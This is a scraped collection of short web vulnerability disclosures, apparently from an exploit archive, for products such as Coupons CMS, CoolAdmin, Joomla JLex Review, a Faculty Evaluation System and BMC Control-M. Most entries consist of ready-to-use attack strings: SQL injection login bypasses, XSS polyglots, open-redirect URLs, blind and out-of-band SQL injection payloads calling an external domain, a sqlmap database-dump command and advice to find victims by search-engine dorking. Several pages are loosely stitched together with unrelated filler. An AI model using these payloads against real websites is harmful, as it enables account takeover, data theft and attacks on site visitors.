Creative Commons Attribution version 3.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : Creative Commons Attribution v3.0 Sql Injection Vulnerability                                                      || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro)                                                                                        || # Vendor    : https://creativecommons.org/licenses/by/3.0/                                                                       |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] http://127.0.0.1/demonstrationchapelorg/fullnews.php?id=3 <=====| inject herePanel :http://127.0.0.1/demonstrationchapelorg/admin/Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

Creative Commons Attribution 3.0 SQL Injection

Coupons CMS version 4.00 suffers from an open redirection vulnerability.

**Coupons CMS 4.00 Open Redirection**

Posted Aug 2, 2023

Authored by indoushka

Coupons CMS version 4.00 suffers from an open redirection vulnerability.

tags | exploit

SHA-256 | 89eec3911e92a444e6c66b2518084ebd6482c026ff7e22103198824accfac76e

Download | Favorite | View

**Coupons CMS 4.00 Open Redirection**

    ====================================================================================================================================| # Title     : Coupons CMS v4.00 URL redirection Vulnerability                                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : https://codecanyon.net/item/coupons-cms-500/11686064?ref=shadyro                                                   |  | # Dork      : Powered by CouponsCMS.com                                                                                          |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+]  use payload : /plugin/click.html?backTo=https://packetstormsecurity.com&coupon=2&reveal_code=1[+]  http://127.0.0.1/couponscms.com/demo/plugin/click.html?backTo=https://packetstormsecurity.com&coupon=2&reveal_code=1Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,846)
*   Arbitrary (16,175)
*   BBS (2,859)
*   Bypass (1,739)
*   CGI (1,026)
*   Code Execution (7,264)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,339)
*   DoS (23,391)
*   Encryption (2,369)
*   Exploit (51,737)
*   File Inclusion (4,220)
*   File Upload (970)
*   Firewall (821)
*   Info Disclosure (2,759)
*   Intrusion Detection (892)
*   Java (3,038)
*   JavaScript (856)
*   Kernel (6,661)
*   Local (14,445)
*   Magazine (586)
*   Overflow (12,668)
*   Perl (1,423)
*   PHP (5,141)
*   Proof of Concept (2,338)
*   Protocol (3,599)
*   Python (1,532)
*   Remote (30,716)
*   Root (3,578)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,638)
*   Security Tool (7,882)
*   Shell (3,178)
*   Shellcode (1,213)
*   Sniffer (894)
*   Spoof (2,197)
*   SQL Injection (16,341)
*   TCP (2,404)
*   Trojan (687)
*   UDP (891)
*   Virus (664)
*   Vulnerability (31,732)
*   Web (9,638)
*   Whitepaper (3,749)
*   x86 (962)
*   XSS (17,897)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,922)
*   Debian (6,800)
*   Fedora (1,691)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,340)
*   Mac OS X (685)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (484)
*   RedHat (13,657)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,788)
*   UNIX (9,284)
*   UnixWare (186)
*   Windows (6,566)
*   Other

Coupons CMS 4.00 Open Redirection

Given the privileged position these devices occupy on the networks they serve, they are prime targets for attackers, so their security posture is of paramount importance.

The many vulnerabilities Talos discovered in SOHO and industrial wireless routers post-VPNFilter

Cross Site Scripting vulnerability in Faculty Evaulation System using PHP/MySQLi v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the page parameter.

\# Faculty Evaluation System !\[\](https://hackmd.io/\_uploads/B1KnDvgw2.png) After pressing Set for each option !\[\](https://hackmd.io/\_uploads/r1WcdDgw3.png) stored xss Entering the payload in the bottom box of most projects will trigger -> I will write the details of the affected part at the end \[xss payload\](https://github.com/payloadbox/xss-payload-list/blob/master/Intruder/xss-payload-list.txt) \`\`\` <script>alert(1)</script> <img src=1 onerror=alert(1)> <iframe src=javascript:alert(1)> .... \`\`\` !\[\](https://hackmd.io/\_uploads/B1J2Dtlvn.png) !\[\](https://hackmd.io/\_uploads/SyKpwFevh.png) !\[\](https://hackmd.io/\_uploads/ByG2\_Pevn.png) !\[\](https://hackmd.io/\_uploads/Bys\_b\_lP2.png) !\[\](https://hackmd.io/\_uploads/H1ysROxP3.png) More interesting is this payload \`\`\` xss%20%22%3E%3E%3Cmarquee%3E%3Cimg%20src=x%20onerror=confirm(/OPENBUGBOUNTY/)%3E%3C/marquee%3E%22%20%3E%3C/plaintext\\%3E%3C/|\\%3E%3Cplaintext/onmouseover=prompt(/OPENBUGBOUNTY/)%20%3E%3Cscript%3Eprompt(/OPENBUGBOUNTY/)%3C/script%3E@gmail.com%3Cisindex%20formaction=javascript:alert(1)%20type=submit%3E%27--%3E%22%20%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E%22%3E%3Cimg/id=%22confirm&lpar;%20OPENBUGBOUNTY)%22/alt=%22/%22src=%22/%22onerror=eval(id&%23x29;%3E%27%22%3E%3Cimg%20src=%22http:%20www.openbugbounty.org/images/design/openbugbounty-logo.png%22%3E%20%EF%BF%BC&show;=xss%20%22%3E%3E%3Cmarquee%3E%3Cimg%20src=x%20onerror=confirm(/OPENBUGBOUNTY/)%3E%3C/marquee%3E%22%20%3E%3C/plaintext\\%3E%3C/|\\%3E%3Cplaintext/onmouseover=prompt(/OPENBUGBOUNTY/)%20%3E%3Cscript%3Eprompt(/OPENBUGBOUNTY/)%3C/script%3E@gmail.com%3Cisindex%20formaction=javascript:alert(1)%20type=submit%3E%27--%3E%22%20%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/s \`\`\` !\[\](https://hackmd.io/\_uploads/HyAyXOeP2.png) Stored xss will cause xss is triggered every time the page is visited Affected vulnerable blocks: \`\`\` On the page http://localhost/eval/, under "Manage Account," if an XSS payload is entered in the "First Name" and "Last Name" fields, it can trigger stored XSS. On the page http://localhost/eval/index.php?page=, after entering a reflected XSS payload in the "page=" parameter, it can trigger an attack. On the page http://localhost/eval/index.php?page=subject\_list, under the "Manage subject" setting in the "Action" section, if an XSS payload is entered in the "Description" and "Subject" fields, it can trigger stored XSS. On the page http://localhost/eval/index.php?page=class\_list, under the "Manage class" setting in the "Action" section, if an XSS payload is entered in any of the fields, it can trigger stored XSS. On the page http://localhost/eval/index.php?page=academic\_list, under the "Manage" setting in the "Action" section, if an XSS payload is entered in the "Year" field, it can trigger stored XSS. On the page http://localhost/eval/index.php?page=questionnaire, under the "Manage" setting in the "Action" section, in the "Question" field at the bottom of the page, if an XSS payload is entered, it can trigger stored XSS. On the page http://localhost/eval/index.php?page=criteria\_list, in the "Criteria" field, if an XSS payload is entered, it can trigger stored XSS. On any page under http://localhost/eval/index.php?page=faculty\_list, after clicking "Edit" in the "Action" column, on the page http://localhost/eval/index.php?page=edit\_faculty&id=, under the "Edit Faculty" section, if an XSS payload is entered in the "School ID," "First Name," and "Last Name" fields, it can trigger stored XSS. On any page under http://localhost/eval/index.php?page=student\_list, after clicking "Edit" in the "Action" column, on the respective page, in the "School ID," "First Name," and "Last Name" fields, if an XSS payload is entered, it can trigger stored XSS. On any page under http://localhost/eval/index.php?page=user\_list, after clicking "Edit" in the "Action" column, on the respective page, in the "First Name" and "Last Name" fields, if an XSS payload is entered, it can trigger stored XSS. \`\`\`

CVE-2023-36118: Faculty Evaluation System - HackMD

Joomla JLex Review extension version 6.0.1 suffers from a cross site scripting vulnerability.

    # Exploit Title: Joomla JLex Review 6.0.1 - Reflected XSS# Exploit Author: CraCkEr# Date: 01/08/2023# Vendor: JLexArt# Vendor Homepage: https://jlexart.com/# Software Link: https://extensions.joomla.org/extension/jlex-review/# Demo: https://jlexreview.jlexart.com/# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site ## GreetingsThe_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka  CryptoJob (Twitter) twitter.com/0x0CryptoJob## DescriptionThe attacker can send to victim a link containing a malicious URL in an email or instant messagecan perform a wide variety of actions, such as stealing the victim's session token or login credentialsPath: /URL parameter is vulnerable to XSShttps://website/?review_id=5&itwed"onmouseover="confirm(1)"style="position:absolute%3bwidth:100%25%3bheight:100%25%3btop:0%3bleft:0%3b"b7yzn=1XSS Payloads:itwed"onmouseover="confirm(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"b7yzn[-] Done

Joomla JLex Review 6.0.1 Cross Site Scripting

Online Lab Diagnostic Management version 1.0 suffers from a remote SQL injection vulnerability.

    ## Title: Online-Diagnostic-Lab-Management v1.0 Multiple-SQLi## Author: nu11secur1ty## Date: 08/01/2023## Vendor: https://www.youtube.com/watch?v=0nA5xfQ5G0g## Vendor: https://www.youtube.com/@MayuriK## Software: https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html## Reference: https://portswigger.net/web-security/sql-injection## Description:The username parameter appears to be vulnerable to SQL injectionattacks. The payload '+(selectload_file('\\\\im86pxgqgu4kxgnpybjcpvwu1l7ev5qthw5oseg3.mnootupaputkaiisaebeqko.com\\mas'))+'was submitted in the username parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed. The attacker can steal all information from the databasevery easily.STATUS: HIGH-CRITICAL Vulnerability[+]Payload:```mysql---Parameter: username (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: username=-2553' OR 3590=3590-- aPlO&password=y4S!v5f!S4&login=    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: username=hMRUaqVg'+(selectload_file('\\\\im86pxgqgu4kxgnpybjcpvwu1l7ev5qthw5oseg3.mnootupaputkaiisaebeqko.com\\mas'))+''AND (SELECT 2815 FROM (SELECT(SLEEP(15)))TjiG)--NgnE&password=y4S!v5f!S4&login=---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Online-Diagnostic-Lab-Management-1.10)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/07/online-diagnostic-lab-management-v10.html)## Time spend:00:35:00

Online Diagnostic Lab Management 1.0 SQL Injection

CoolAdmin version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : CoolAdmin 1.0 Auth By Pass Vulnerability                                                                           || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Vendor    : https://colorlib.com/                                                                                              |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : User & Pass = ADMIN' OR 1=1#[+] Panel : http://wwcddsakoncom/home.phpGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

CoolAdmin 1.0 SQL Injection

City Variety LMS version 2.2 suffers from a cross site scripting vulnerability.

**City Variety LMS 2.2 Cross Site Scripting**

Posted Aug 1, 2023

Authored by indoushka

City Variety LMS version 2.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 1cbbe0f2970a91c54fd6b773983a7f83c535dbf1c4e56f12913660cbe435877e

Download | Favorite | View

**City Variety LMS 2.2 Cross Site Scripting**

    ====================================================================================================================================| # Title     : cityvariety LMS 2.2 XSS Vulnerability                                                                              || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Vendor    : https://www.cityvariety.co.th/                                                                                     |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /news/download/?file=files/com_news/2023-05_df55c087b4d33c8.pdf'%22()%26%25<acx><ScRiPt%20>prompt(980997)</ScRiPt>&id=2481&name=[+] https://wwsesaogoth/news/download/?file=files/com_news/2023-05_df55c087b4d33c8.pdf%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(980997)%3C/ScRiPt%3E&id=2481&name=Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,831)
*   Arbitrary (16,174)
*   BBS (2,859)
*   Bypass (1,738)
*   CGI (1,026)
*   Code Execution (7,261)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,337)
*   DoS (23,388)
*   Encryption (2,369)
*   Exploit (51,723)
*   File Inclusion (4,219)
*   File Upload (970)
*   Firewall (821)
*   Info Disclosure (2,759)
*   Intrusion Detection (892)
*   Java (3,038)
*   JavaScript (855)
*   Kernel (6,661)
*   Local (14,445)
*   Magazine (586)
*   Overflow (12,668)
*   Perl (1,423)
*   PHP (5,141)
*   Proof of Concept (2,338)
*   Protocol (3,596)
*   Python (1,532)
*   Remote (30,710)
*   Root (3,578)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,638)
*   Security Tool (7,882)
*   Shell (3,178)
*   Shellcode (1,213)
*   Sniffer (894)
*   Spoof (2,197)
*   SQL Injection (16,335)
*   TCP (2,402)
*   Trojan (687)
*   UDP (889)
*   Virus (664)
*   Vulnerability (31,731)
*   Web (9,634)
*   Whitepaper (3,748)
*   x86 (962)
*   XSS (17,892)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,922)
*   Debian (6,800)
*   Fedora (1,691)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,326)
*   Mac OS X (685)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (484)
*   RedHat (13,644)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,787)
*   UNIX (9,281)
*   UnixWare (186)
*   Windows (6,566)
*   Other

City Variety LMS 2.2 Cross Site Scripting

Online Shopping Portal Project v3.1 was discovered to contain a SQL injection vulnerability via the Email parameter at /shopping/login.php.

E-commerce means any transaction over the internet.  
In online marketing, a shopping cart is a piece of e-commerce software on a web server that allows visitors to an Internet site to select items for eventual purchase, analogous to the American English term “shopping cart.” In British English, it is generally known as a shopping basket, almost exclusively shortened on websites to “basket.”  
The software allows online shopping customers to accumulate a list of items for purchase, described metaphorically as “placing items in the shopping cart” or “add to cart.” Upon checkout, the software typically calculates a total for the order, including shipping and handling (i.e., postage and packing) charges and the associated taxes, as applicable.

**Project Name**

Online Shopping Portal in Php

**Language Used**  

PHP5.6, PHP7.x

**Database**

MySQL 5.x

**User Interface Design**  

HTML, AJAX,JQUERY,JAVASCRIPT

**Web Browser**

Mozilla, Google Chrome, IE8, OPERA

**Software**

XAMPP / Wamp / Mamp/ Lamp (anyone)

**Last Updated**

**19 May 2020**

**Online Shopping Portal Pro Version**

**Features of the Online Shopping Portal Project in Php**

1.  User Registration
2.  User login system
3.  Change password
4.  Forgot password
5.  Profile management system.
6.  Shopping cart
7.  Wishlist
8.  Order History

**Features of Admin**

1.  Product Management(Add,Update, Delete)
2.  Order Management System
3.  User Management
4.  Category/ Sub Category Creation and many more

**How to run this Project**

1.  Download the project and unzip the file.
2.  Create database “shopping”.
3.  Import the database file( Database will be avail in the package)
4.   Link for the project: http://localhost/shopping
5.  Link for admin Panel: http://localhost/shopping/admin

**Login Details For User :**  
**Username**: anuj.lpu1@gmail.com  
**Password** : Test@123  
**For Admin :**  
**User Name:** admin  
**Password:** Test@123

**Demo and Configuration Videos**

**Download Source Code (Shopping Portal)**

**Size: 26.7 MB**

**Version: V 3.1**

**Project  Report**

**Online Shopping Portal Pro Version**

Anuj Kumar

Hi! I am Anuj Kumar, a professional web developer with 5+ years of experience in this sector. I found PHPGurukul in September 2015. My keen interest in technology and sharing knowledge with others became the main reason for starting PHPGurukul. My basic aim is to offer all web development tutorials like PHP, PDO, jQuery, PHP oops, MySQL, etc. Apart from the tutorials, we also offer you PHP Projects, and we have around 100+ PHP Projects for you.

CVE-2023-37772: Online Shopping Portal Project in Php|E-commerce Online Shopping Portal

BMC Control-M Software v9.0.20.200 was discovered to contain a SQL injection vulnerability via the report-id parameter at /report/deleteReport.

**BMC Control-M Unauthenticated SQL Injection**

**BMC Control-M Unauthenticated SQL Injection Version < 9.0.20.200**

**Timeline:**  
**Vulnerability reported to vendor:** 26.08.2022  
**New fixed 9.0.21 version released:** 12.09.2022  
**Patch for version 9.0.20.200 released:** 21.12.2022  
**Disclosure:** 05.06.2023

**Affected Products:**  
BMC Control-M software up to (including) 9.0.20.200 . Vulnerability found and confirmed in version 9.0.20.100, information about patch in version 9.0.20.200 comes from the vendor.

BMC Control-M software versions up to (including) 9.0.20.200 are vulnerable to Unauthenticated SQL Injection.  
Vulnerable parameter _report-id_ is present within _/RF-Server/report/deleteReport_ endpoint.

Below is the Proof of Concept request which triggers a 10 seconds delay:

    DELETE /RF-Server/report/deleteReport?report-id=’+waitfor+delay+’0:0:10’--
    Host: [REDACTED]
    Connection: close
    user-id: X
    Accept: application/json, text/plain, */*
    server-name:
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: X
    

Additional Info: _Cookie_ and _user\_id_ headers must be present, but the value can be random.  
Screenshot from BurpSuite:  

**Steps to dump the database:**  
Save the above request (without the payload) to a file request.txt :

    DELETE /RF-Server/report/deleteReport?report-id=1
    Host: [REDACTED]
    Connection: close
    user-id: X
    Accept: application/json, text/plain, */*
    server-name:
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: X
    

Execute following _sqlmap_ command:

    sqlmap -r request.txt -p report-id —-no-cast —-dbs 
    

Screenshot of extracted database structure:

Tag

#sql